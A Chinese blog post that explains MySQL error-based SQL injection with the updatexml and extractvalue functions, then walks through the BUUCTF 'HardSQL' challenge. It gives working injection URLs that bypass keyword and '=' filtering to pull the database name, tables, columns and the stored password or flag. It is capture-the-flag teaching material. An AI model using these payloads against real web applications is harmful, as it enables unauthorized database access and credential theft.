• SQL报错注入-[极客大挑战 2019]HardSQL


    记录一下报错注入的几个函数和用法

    报错注入常用的函数

    函数 描述

    extractvalue

    使用XPath表示法从XML字符串中提取值
    updatexml 返回替换的XML片段

    extractvalue函数

    ExtractValue(xml_frag, xpath_expr)

    ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

    第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数格式书写错误的话就会出现报错信息,那么我们可以在第二个参数中注入一些sql语句从而能够在报错信息中得到我们想要的数据。

    updatexml函数

    UpdateXML(xml_target, xpath_expr, new_xml)

    xml_target:: 需要操作的xml片段

    xpath_expr: 需要更新的xml路径(Xpath格式)

    new_xml: 更新后的内容

    此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

    例子:

    mysql> SELECT
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
        ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
        ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5

    结果:

    ***********结果**************
    val1: <e>fff</e>
    val2: <a><b>ccc</b><d></d></a>
    val3: <a><e>fff</e><d></d></a>
    val4: <a><b>ccc</b><e>fff</e></a>
    val5: <a><d></d><b>ccc</b><d></d></a>
    

      这样我们就可以在第二个参数中注入一些SQL语句来得到我们想要的数据

    实战

    [极客大挑战 2019]HardSQL

    题目来源:BUUCTF-WEB

    https://buuoj.cn/challenges

    试了一下and、select、--等关键字都被过滤了,但是有报错信息,可以试试报错注入

     

     爆数据库:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23

     爆表:(这里'='被过滤,使用like进行绕过)

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
    

      

     爆字段:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

     找password:

    ?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

     这里只显示了一部分,使用right()多找几次就可以找到全部flag

     

     拼接一下就可以得到完整的flag

    参考

    https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

    https://blog.csdn.net/weixin_43952190/article/details/107096009

    https://blog.csdn.net/u011718707/article/details/107405676

  • 相关阅读:
    [BUUOJ记录] [强网杯 2019]随便注(三种方法)
    Content Security Policy (CSP)内容安全策略总结
    [HGAME Week2] Cosmos的博客后台
    [BUUOJ记录] [ACTF2020 新生赛]Include
    PHP弱类型hash比较缺陷
    CTF常见源码泄漏总结
    Sqlmap Tamper绕过脚本详解
    Golden Pyramid
    Prime Palindrome Golf
    Min and Max
  • 原文地址:https://www.cnblogs.com/s1awwhy/p/13719650.html
Copyright © 2020-2023  润新知